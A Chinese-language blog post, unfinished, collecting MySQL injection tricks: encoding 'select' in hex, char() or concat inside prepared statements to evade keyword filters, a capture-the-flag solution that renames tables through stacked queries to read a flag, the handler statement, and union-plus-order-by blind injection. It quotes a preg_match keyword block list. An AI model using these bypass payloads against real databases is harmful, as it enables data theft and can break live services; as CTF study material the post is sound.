Mysql 注入的一些tips
用来总结Mysql注入的一些奇技淫巧
No Select
不使用select情况下的注入
预处理
当注入语句可以多行执行的时候可以采用预处理的形式。
1 | set @s = "select * from users"; |
在select被拦截的情况下,可以将@s的值编码处理绕过
十六进制编码
1 | set @s = 0x73656c656374202a2066726f6d2075736572733b; |
或者是采用char
1 | set @s = char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115); |
当然也可以使用concat
1 | set @sql=concat('sel','ect * from users'); |
需要注意的是在prepare语句中如果不是采用变量的形式,不能用编码,例如
1 | mysql> prepare t from char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115); |
同样是在可多行执行的情况下,在已知列名和表名的基础上,可以通过修改表名来获取想要的数据,不过这种方法危害极大可能导致web服务无法正常运行。
以强网杯的一道题为例
对select进行了拦截
1 | preg_match("/select|update|delete|drop|insert|where|\./i", $inject); |
通过show tables
以及desc table
的形式了解到存在两个表,1919810931114514
以及 words
,而flag在1919810931114514
表中
所以一口气把words
表修改为words1
,把1919810931114514
修改为words
,同时,要给1919810931114514
表增加一个id
字段,总的payload就是
1 | RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` add id int; |
再使用' or '1'='1
进行查询即可得到flag。
此外,还有另一种方法,handler
1 | handler table_name open; |
Union
盲注
Union Select没有被拦截,无疑是一件快乐的事,但如果括号和@不能用呢?
这个时候可以采用结合order by进行盲注的形式获取数据
不使用order by 情况下的查询
1 | mysql> select * from flag union select 1,2,3; |
因为order by 是根据ascii顺序进行排序的,所以当我们按第三列来进行排序
1 | mysql> select * from flag union select 1,2,3 order by 3; |
那么如何利用这一点进行注入呢?
假设submission_date可以在页面中被观察到,我们可以通过改变union select第三列的值来根据回显判断flag
1 | mysql> select * from flag union select 1,2,'f' order by 3; |
未完待续
我要谈儿女情长,谈国家这种小事就先放一边啦